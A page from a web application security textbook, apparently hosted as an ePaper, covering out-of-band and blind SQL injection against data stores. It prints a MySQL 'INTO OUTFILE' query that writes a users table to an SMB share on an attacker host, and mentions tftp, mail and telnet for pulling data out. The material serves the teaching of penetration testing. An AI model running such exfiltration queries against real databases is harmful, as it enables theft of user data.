19.09.2017 Views

the-web-application-hackers-handbook

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Chapter 9 n Attacking Data Stores 319<br />

MySQL<br />

The SELECT ... INTO OUTFILE command can be used to direct <strong>the</strong> output from<br />

an arbitrary query into a file. The specified filename may contain a UNC path,<br />

enabling you to direct <strong>the</strong> output to a file on your own computer. For example:<br />

select * into outfile ‘\\\\mdattacker.net\\share\\output.txt’ from users;<br />

To receive <strong>the</strong> file, you need to create an SMB share on your computer that<br />

allows anonymous write access. You can configure shares on both Windows<br />

and UNIX-based platforms to behave in this way. If you have difficulty receiving<br />

<strong>the</strong> exported file, this may result from a configuration issue in your SMB<br />

server. You can use a sniffer to confirm whe<strong>the</strong>r <strong>the</strong> target server is initiating<br />

any inbound connections to your computer. If it is, consult your server documentation<br />

to ensure that it is configured correctly.<br />

Leveraging <strong>the</strong> Operating System<br />

It is often possible to perform escalation attacks via <strong>the</strong> database that result in<br />

execution of arbitrary commands on <strong>the</strong> operating system of <strong>the</strong> database server<br />

itself. In this situation, many more avenues are available to you for retrieving<br />

data, such as using built-in commands like tftp, mail, and telnet, or copying<br />

data into <strong>the</strong> <strong>web</strong> root for retrieval using a browser. See <strong>the</strong> later section “Beyond<br />

SQL Injection” for techniques for escalating privileges on <strong>the</strong> database itself.<br />

Using Inference: Conditional Responses<br />

There are many reasons why an out-of-band channel may be unavailable. Most<br />

commonly this occurs because <strong>the</strong> database is located within a protected network<br />

whose perimeter firewalls do not allow any outbound connections to <strong>the</strong><br />

Internet or any o<strong>the</strong>r network. In this situation, you are restricted to accessing<br />

<strong>the</strong> database entirely via your injection point into <strong>the</strong> <strong>web</strong> <strong>application</strong>.<br />

In this situation, working more or less blind, you can use many techniques<br />

to retrieve arbitrary data from within <strong>the</strong> database. These techniques are all<br />

based on <strong>the</strong> concept of using an injected query to conditionally trigger some<br />

detectable behavior by <strong>the</strong> database and <strong>the</strong>n inferring a required item of information<br />

on <strong>the</strong> basis of whe<strong>the</strong>r this behavior occurs.<br />

Recall <strong>the</strong> vulnerable login function where <strong>the</strong> username and password fields<br />

can be injected into to perform arbitrary queries:<br />

SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’<br />

Suppose that you have not identified any method of transmitting <strong>the</strong> results<br />

of your injected queries back to <strong>the</strong> browser. Never<strong>the</strong>less, you have already<br />

seen how you can use SQL injection to modify <strong>the</strong> <strong>application</strong>’s behavior.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!